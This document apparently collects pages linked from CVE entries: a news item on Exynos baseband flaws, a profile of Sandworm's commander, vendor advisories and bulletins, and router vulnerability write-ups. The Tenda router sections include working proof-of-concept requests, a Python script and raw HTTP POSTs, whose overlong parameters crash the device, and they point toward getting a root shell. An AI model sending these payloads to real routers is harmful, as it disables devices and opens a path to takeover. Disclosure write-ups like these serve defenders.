Google is calling attention to a set of severe security flaws in Samsung's Exynos chips, some of which could be exploited remotely to completely compromise a phone without requiring any user interaction.
The 18 zero-day vulnerabilities affect a wide range of Android smartphones from Samsung, Vivo, Google, wearables using the Exynos W920 chipset, and vehicles equipped with the Exynos Auto T5123

Mobile Security / Firmware

Google is calling attention to a set of severe security flaws in Samsung's Exynos chips, some of which could be exploited remotely to completely compromise a phone without requiring any user interaction.

The 18 zero-day vulnerabilities affect a wide range of Android smartphones from Samsung, Vivo, Google, wearables using the Exynos W920 chipset, and vehicles equipped with the Exynos Auto T5123 chipset.

Four of the 18 flaws make it possible for a threat actor to achieve internet-to-baseband remote code execution, Google Project Zero, which reported the issues in late 2022 and early 2023, said.

"\[The\] four vulnerabilities allow an attacker to remotely compromise a phone at the baseband level with no user interaction, and require only that the attacker know the victim's phone number," Tim Willis, head of Google Project Zero, said.

In doing so, a threat actor could gain entrenched access to cellular information passing in and out of the targeted device. Additional details about the bugs have been withheld.

The attacks might sound prohibitive to execute, but, to the contrary, they are well within reach of skilled attackers, who can quickly devise an operational exploit to breach affected devices "silently and remotely."

The remaining 14 flaws are said to be not as severe, as it necessitates a rogue mobile network insider or an attacker with local access to the device.

WEBINAR

Discover the Hidden Dangers of Third-Party SaaS Apps

Are you aware of the risks associated with third-party app access to your company's SaaS apps? Join our webinar to learn about the types of permissions being granted and how to minimize risk.

RESERVE YOUR SEAT

While Pixel 6 and 7 handsets have already received a fix as part of March 2023 security updates, patches for other devices are expected to vary depending on the manufacturer's timeline.

Until then, users are recommended to switch off Wi-Fi calling and Voice over LTE (VoLTE) in their device settings to "remove the exploitation risk of these vulnerabilities."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Google Uncovers 18 Severe Security Vulnerabilities in Samsung Exynos Chips

Any request send to a Netgear Nighthawk Wifi6 Router (RAX30)'s web service containing a “Content-Type” of “multipartboundary=” will result in the request body being written to “/tmp/mulipartFile” on the device itself. A sufficiently large file will cause device resources to be exhausted, resulting in the device becoming unusable until it is rebooted.

tenable.cloudflareaccess.com

drupal9.tenable.com

Sign in with:

Okta ・ okta

CVE-2023-28338: Sign in ・ Cloudflare Access

Evgenii Serebriakov now runs the most aggressive hacking team of Russia’s GRU military spy agency. To Western intelligence, he’s a familiar face.

For years, the hacking unit within Russia's GRU military intelligence agency known as Sandworm has carried out some of the worst cyberattacks in history—blackouts, fake ransomware, data-destroying worms—from behind a carefully maintained veil of anonymity. But after half a decade of the spy agency's botched operations, blown cover stories, and international indictments, perhaps it's no surprise that pulling the mask off the man leading that highly destructive hacking group today reveals a familiar face.

The passport Evgenii Serebriakov used to enter the Netherlands in 2018.

Photograph: Department of Justice

The commander of Sandworm, the notorious division of the agency's hacking forces responsible for many of the GRU's most aggressive campaigns of cyberwar and sabotage, is now an official named Evgenii Serebriakov, according to sources from a Western intelligence service who spoke to WIRED on the condition of anonymity. If that name rings a bell, it may be because Serebriakov was indicted, along with six other GRU agents, after being caught in the midst of a close-range cyberespionage operation in the Netherlands in 2018 that targeted the Organization for the Prohibition of Chemical Weapons in the Hague.

In that foiled operation, Dutch law enforcement didn't just identify and arrest Serebriakov and his team, who were part of a different GRU unit generally known as Fancy Bear or APT28. They also seized Serebriakov’s backpack full of technical equipment, as well as his laptop and other hacking devices in his team’s rental car. As a result, Dutch and US investigators were able to piece together Serebriakov's travels and past operations stretching back years and, given his newer role, now know in unusual detail the career history of a rising GRU official.

According to the intelligence service sources, Serebriakov was placed in charge of Sandworm in the spring of 2022 after serving as deputy commander of APT28, and now holds the rank of colonel. Christo Grozev, the lead Russia-focused investigator for open source intelligence outlet Bellingcat, has also noted Serebriakov's rise: Around 2020, Grozev says, Serebriakov began receiving phone calls from GRU generals who, in the agency's strict hierarchy, only speak to higher-level officials. Grozev, who says he bought the phone data from a Russian black market source, says he also saw the GRU agent's number appear in the phone records of another powerful military unit focused on counterintelligence. "I realized he must be in a command position," says Grozev. "He can't just be a regular hacker anymore."

The fact that Serebriakov appears to have attained that position despite having been previously identified and indicted in the failed Netherlands operation suggests that he must have significant value to the GRU—that he's “apparently too good to dump,” Grozev adds.

Serebriakov's new position leading Sandworm—officially GRU Unit 74455 but also known by the nicknames Voodoo Bear and Iridium—puts him in charge of a group of hackers who are perhaps the world's most prolific practitioners of cyberwar. (They've also dabbled in espionage and disinformation campaigns.) Since 2015, Sandworm has led the Russian government's unprecedented campaign of cyberattacks on Ukraine: It penetrated electric utilities in western Ukraine and Kyiv to cause the first- and second-ever blackouts triggered by hackers and targeted Ukrainian government agencies, banks, and media with countless data-destructive malware operations. In 2017, Sandworm released NotPetya, a piece of self-replicating code that spread to networks worldwide and inflicted a record $10 billion in damage. Sandworm then went on to sabotage the 2018 Winter Olympics in Korea and attack TV broadcasters in the nation of Georgia in 2019, a shocking record of reckless hacking.

With Russia's full-scale invasion of Ukraine a year ago, the GRU's most aggressive hacking unit, now under Serebriakov's leadership, has refocused its efforts on that country. From its headquarters in a tower in the Moscow suburb of Khimki, it has launched new volleys of data-destroying malware, attempted to cause a third blackout—which the Ukrainian government says it prevented—and bombarded Ukrainian and Polish organizations with a fake ransomware campaign known as Prestige.

Serebriakov's pre-Sandworm hacking career was no less brazen. When he was captured along with the six other GRU agents in the Netherlands in 2018, US prosecutors say, he had in his backpack a Wi-Fi Pineapple, a book-sized device designed to spoof Wi-Fi networks and trick victims into connecting to it instead of the intended Wi-Fi hot spot, then carry out man-in-the-middle attacks that intercept or alter the victim's traffic. Serebriakov's team had also parked a rented car outside the Organization for the Prohibition of Chemical Weapons building with an antenna for Wi-Fi hacking hidden in the trunk. The team was likely targeting staffers of the OPCW who were investigating Russia's use of the Novichok nerve agent in the GRU's attempted assassination of defector Sergei Skripal.

Serebriakov posing with a Russian athlete at the Summer Olympics in Rio de Janeiro in 2016.

Photograph: Department of Justice

When investigators examined that confiscated Wi-Fi hacking equipment, they found evidence of a long list of Wi-Fi networks it had connected to previously, essentially mapping out the travels of Serebriakov and his colleagues to carry out previous hacking operations. The hackers, it seemed, had targeted officials at the 2016 Summer Olympics in Rio de Janeiro, from which more than 100 Russian athletes had been banned for performance-enhancing drug use, as well as attendees of a conference in Lausanne, Switzerland, focused on anti-doping efforts in athletics.

Exactly why Dutch authorities released Serebriakov and his fellow spies rather than criminally charge them—or extradite them to the US, where they face an indictment for hacking crimes—has never been explained, and the Dutch MIVD defense intelligence service didn't respond to WIRED's questions about it at the time.

That the figure at the helm of Sandworm today is someone previously identified in that very publicly blown Netherlands operation may demonstrate Serebriakov's value to the GRU: According to the intelligence service sources, he's regarded as having good connections to the security research community and strong technical skills. As for the fiasco of the GRU's Netherlands mission, the intelligence sources say that was blamed on the agents escorting him and his APT28 colleagues, not the hackers themselves. And in some cases, for the GRU, an indictment only bolsters an agent's reputation for boldness and risk-taking. “For the Kremlin, it may be ‘great, you’ve made a splash, built the myth, bolstered our reputation as these techno-raiders, good on you,’” says Gavin Wilde, a former official at the US National Security Agency and the White House National Security Council who now serves as a fellow at the Carnegie Endowment for International Peace.

But Serebriakov's reappearance also indicates that relatively few people serve as key players in high-profile state-sponsored hacking operations, says John Hultquist, the head of threat intelligence at cybersecurity firm Mandiant. Hultquist was part of the group of researchers who initially discovered and named Sandworm, and he has closely tracked the unit for years. “This is someone from a notorious close-access operation, and then he shows up as the leader of another organization we know very well,” says Hultquist, using the term _close-access_ to refer to Serebriakov's short-range Wi-Fi hacking tactics in the Netherlands. “To a certain extent, it demonstrates how small this world is that we’re trying to keep tabs on.”

“The same individuals show up again and again—and I mean the people with the actual hands on the keyboard,” Hultquist adds. “It speaks to the limited number of people in the field. We're still living in a world where talent is apparently limited to the point where we know the adversaries intimately.”

This Is the New Leader of Russia's Infamous Sandworm Hacking Unit

Tenda AX3 V16.03.12.11 was discovered to contain a stack overflow via the shareSpeed parameter at /goform/WifiGuestSet.

Permalink

**Tenda AX3 V16.03.12.11 Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address ： https://www.tenda.com.cn/download/detail-3476.html
    

**Affected version**

**Vulnerability details**

In /goform/WifiGuestSet，The user passes in shareSpeed, and then the program will use strcpy to copy shareSpeed to shared\_up\_speed. It is worth noting that there is no size check, which leads to stack overflow vulnerabilities.

**Poc**

import requests

url \= "http://192.168.0.1/goform/WifiGuestSet"

shareSpeed \= "a" \* 0x2000

r \= requests.post(url, data\={'shareSpeed': shareSpeed})
print(r.content)

You can see the router crash, and finally you can write exp to get root shell

CVE-2023-27239: CVE/readme.md at main · yjzy00001/CVE

Tenda V15V1.0 V15.11.0.14(1521_3190_1058) was discovered to contain a buffer overflow vulnerability via the picName parameter in the formDelWewifiPi function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request.

Permalink

Cannot retrieve contributors at this time

**Tenda V15V1.0 found a buffer overflow vulnerability in the "formDelWewifiPic" function****Vendor:**

​ Tenda

**Product:**

​ V15EV1.0

**Vendor Homepage:**

​ https://www.tenda.com.cn/

**Firmware:**

​ https://www.tenda.com.cn/download/detail-2722.html

**Version:**

​ V15.11.0.14(1521\_3190\_1058)

**Vulnerability details**

The vulnerability is in the "formDelWewifiPic" function in the /bin/httpd file

​ 

"picName" receives the transmitted parameters, does not verify its length. causes a buffer overflow vulnerability due to the use of sprintf()

**POC**

POST /goform/delWewifiPic HTTP/1.1
Host: 192.168.75.201
Content-Length: 250
Accept: \*/\*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.75.201
Referer: http://192.168.75.201/quickset/quickset.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: W15E\_user=
Connection: close

picName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Start httpd using qemu

 

DOS caused by sending request

CVE-2023-27065: vuln/formDelWewifiPic.md at main · didi-zhiyuan/vuln

Tenda V15V1.0 V15.11.0.14(1521_3190_1058) was discovered to contain a buffer overflow vulnerability via the wifiFilterListRemark parameter in the modifyWifiFilterRules function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request.

Permalink

Cannot retrieve contributors at this time

**Tenda V15V1.0 found a buffer overflow vulnerability in the "modifyWifiFilterRules" function****Vendor:**

​ Tenda

**Product:**

​ V15EV1.0

**Vendor Homepage:**

​ https://www.tenda.com.cn/

**Firmware:**

​ https://www.tenda.com.cn/download/detail-2722.html

**Version:**

​ V15.11.0.14(1521\_3190\_1058)

**Vulnerability details**

The vulnerability is in the "formWifiFilterRulesModify -> modifyWifiFilterRules" function in the /bin/httpd file

​  ​ 

"pRuleMac","pRuleDesc" receives the transmitted parameters, does not verify its length. causes a buffer overflow vulnerability due to the use of sprintf()

**POC**

POST /goform/modifyWifiFilterRules HTTP/1.1
Host: 192.168.75.201
Content-Length: 250
Accept: \*/\*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.75.201
Referer: http://192.168.75.201/quickset/quickset.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: W15E\_user=
Connection: close

wifiFilterListRemark=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Start httpd using qemu

DOS caused by sending request

And overwrite the return address, an execute arbitrary commands by constructing EXP

CVE-2023-27061: vuln/formWifiFilterRulesModify.md at main · didi-zhiyuan/vuln

An improper neutralization of directives in dynamically evaluated code vulnerability in the WiFi Battery embedded web server in versions L90/U70 and L92/U92 can be used to gain administrative access to the WiFi communication module. An authenticated user, having access to both the medical device WiFi network (such as a biomedical engineering staff member) and the specific B.Braun Battery Pack SP with WiFi web server credentials, could get administrative (root) access on the infusion pump communication module. This could be used as a vector to start further attacks

  
Coordinated vulnerability disclosure program

**B. Braun vulnerability disclosure statements **

We welcome vulnerability reports from researchers, industry groups, CERTs,

partners, and any other source and will give full credit on our website once the

submission has been accepted, validated and published by our product security

team.

                 

**Vulnerability Coordination Assistance****Questions or concerns about security?**

If you believe you have identified a potential security vulnerability in one of our products or services, please follow the coordinated disclosure process and fill out the form.

Click here

**B. Braun Security Bulletins**

B. Braun Product Security Bulletins contains of product-specific vulnerability updates and security-related information. Our bulletins will list all known vulnerabilities for each product, the status and all recommended customer actions such as fixes or patches or other mitigation strategies. Revised bulletins are posted regularly with the latest available information.

**11/2022 B. Braun Statement on Cybersecurity Vulnerability with OpenSSL 3.0.X**  
Friday, November 4, 2022

**Read more**

**03/2022 B. Braun Statement regarding the Palo Alto Networks cybersecurity report concerning infusion devices**

Friday, March 25, 2022  
**Read more**

**12/2021 B. Braun Statement on Cybersecurity Vulnerability in Apache Log4j**

Tuesday, December 14, 2021  
**Read more**

**11/2021 B. Braun Statement on Cybersecurity Vulnerability with Infra:Halt**

Friday, November 19, 2021

**Read more**

**11/2021 B. Braun Statement on Cybersecurity Vulnerability with Nucleus:13**

Wednesday, November 17, 2021

**Read more**

**05/2021 SpaceCom, Battery Pack SP with WiFi, Data module compactplus - multiple vulnerabilities**

Friday, May 14, 2021

**Read more**

**04/2021: B. Braun Information concerning Name:Wreck**

Monday, April 19, 2021

**Read more**

**02/2021 OnlineSuite WiBu CodeMeter multiple vulnerabilities**

Wednesday, February 24, 2021

**Read more**

**12/2020 B. Braun Statement on Cybersecurity Vulnerability with Amnesia:33**

Friday, December 18, 2020

**Read more**

**10/2020 SpaceCom, Battery Pack SP with WiFi, Data module compactplus - multiple vulnerabilities**

Monday, October 26, 2020

**Read more**

**10/2020 Online Suite - multiple vulnerabilities**

Monday, October 26, 2020

**Read more**

CVE-2023-0888: B. Braun Product Security

NETGEAR Nighthawk WiFi6 Router prior to V1.0.10.94 contains a format string vulnerability in a SOAP service that could allow an attacker to execute arbitrary code on the device.

_All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability._

_Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order._

_For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page._

_If you have questions or corrections about this advisory, please email \[email protected\]_

Tenable Advisory ID

TRA-2023-9

Affected Products

NETGEAR Nighthawk WiFi6 Router prior to V1.0.10.94

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable.io Vulnerability Management trial also includes Tenable Lumin, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

 BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. **Purchase your annual subscription today.**

65 assets

Choose Your Subscription Option:

**Thank You**

Thank you for your interest in Tenable.io. A representative will be in touch soon.

**Try Nessus Professional Free**

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today.

**NEW - Nessus Expert Now Available**

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. **Click here to Try Nessus Expert.**

Fill out the form below to continue with a Nessus Professional Trial.

**Buy Nessus Professional**

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable.io Vulnerability Management trial also includes Tenable Lumin, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

Tenable.io

BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. **Purchase your annual subscription today.**

65 assets

Choose Your Subscription Option:

**Thank You**

Thank you for your interest in Tenable.io. A representative will be in touch soon.

**Try Tenable.io Web Application Scanning**

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. **Sign up now.**

Your Tenable Web Application Scanning trial also includes Tenable.io Vulnerability Management, Tenable Lumin and Tenable.cs Cloud Security.

**Buy Tenable.io Web Application Scanning**

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. **Purchase your annual subscription today.**

**Try Tenable.io Container Security**

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

**Buy Tenable.io Container Security**

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

**Thank You**

Thank you for your interest in the Tenable.io Container Security program. A representative will be in touch soon.

**Try Tenable Lumin**

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable.io Vulnerability Management, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

**Buy Tenable Lumin**

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

**Thank You**

Thank you for your interest in Tenable Lumin. A representative will be in touch soon.

**Request a demo of Tenable.sc**

Please fill out this form with your contact information.

A sales representative will contact you shortly to schedule a demo.

_\* Field is required_

**Request a demo of Tenable.ot**

Get the Operational Technology Security You Need.

Reduce the Risk You Don’t.

**Request a demo of Tenable.ad**

Continuously detect and respond to Active Directory attacks. No agents. No privileges.

On-prem and in the cloud.

**Try Tenable.cs**

Enjoy full access to detect and fix cloud infrastructure misconfigurations and view runtime vulnerabilities. Sign up for your free trial now. To learn more about the trial process click here.

Your Tenable.cs Cloud Security trial also includes Tenable.io Vulnerability Management, Tenable Lumin and Tenable.io Web Application Scanning.

**Contact a Sales Rep to Buy Tenable.cs**

Contact a Sales Representative to learn more about Tenable.cs Cloud Security and see how easy it is to onboard your cloud accounts and get visibility into both cloud misconfigurations and vulnerabilities within minutes.

**Thank You**

Thank you for your interest in Tenable.cs. A representative will be in touch soon.

**See  
Tenable One  
In Action**

Exposure management for the modern attack surface.

**See Tenable.asm In Action**

Know the exposure of every asset on any platform.

**Thank You**

Thank you for your interest in Tenable.asm. A representative will be in touch soon.

**Try Nessus Expert Free**

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

**Already have Nessus Professional?**  
Upgrade to Nessus Expert free for 7 days.

**Buy Nessus Expert**

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

CVE-2023-27853: Netgear RAX30 Multiple Vulnerabilities

The bundle management subsystem within OpenHarmony-v3.1.4 and prior versions has a null pointer reference vulnerability which local attackers can exploit this vulnerability to cause a DoS attack to the system when installing a malicious HAP package.

加入 Gitee

与超过 1000 万 开发者一起发现、参与优秀开源项目，私有仓库也完全免费 ：）

免费加入

**Security Vulnerabilities in Feburary 2023**

_published March 7,2023_  
_updated March 7,2023_

Vulnerability ID

related Vulnerability

Vulnerability Description

Vulnerability Impact

CVSS3.1 Base Score

affected versions

affected projects

fix link

reference

OpenHarmony-SA-2023-0301

CVE-2023-24465

Communication Wi-Fi subsystem has a null pointer reference vulnerability when receiving external data.

Local attackers can exploit this vulnerability to cause the current application to crash.

5.5

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.4-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

communication\_wifi

3.1.x  
3.0.x

Reported by OpenHarmony Team

OpenHarmony-SA-2023-0302

CVE-2023-25947

The bundle management subsystem has a improper input validation when installing a HAP package.

Local attackers can exploit this vulnerability to cause a DoS attack to the system when installing a malicious HAP package.

6.2

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.4-Release

bundlemanager\_bundle\_framework

3.1.x

Reported by OpenHarmony Team

**The following table lists the third-party library vulnerabilities with only the CVE, severity, and affected OpenHarmony versions provided. For more details, see the security bulletins released by third-parties.**

CVE

severity

affected OpenHarmony versions

fix link

CVE-2022-47946

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.5-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2022-2196

Low

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2023-0047

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.5-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2023-23559

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2022-3640

High

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.5-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2022-47929

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2023-0179

High

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2023-0394

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2023-23454

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2023-23455

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2023-0590

High

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2023-0615

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS

3.1.x  
3.0.x

CVE-2023-0045

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS

3.1.x  
3.0.x

CVE-2023-20938

High

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS

3.1.x  
3.0.x

CVE-2022-3176

High

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.4-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2023-0045

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS

3.1.x  
3.0.x

CVE-2022-3028

High

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS

3.1.x  
3.0.x

CVE-2020-36516

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release

3.1.x

CVE-2022-3341

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.5-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS  
OpenHarmony-v1.0.1-release through OpenHarmony-v1.1.5-LTS

3.1.x  
3.0.x  
1.1.x

CVE-2022-4450

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS  
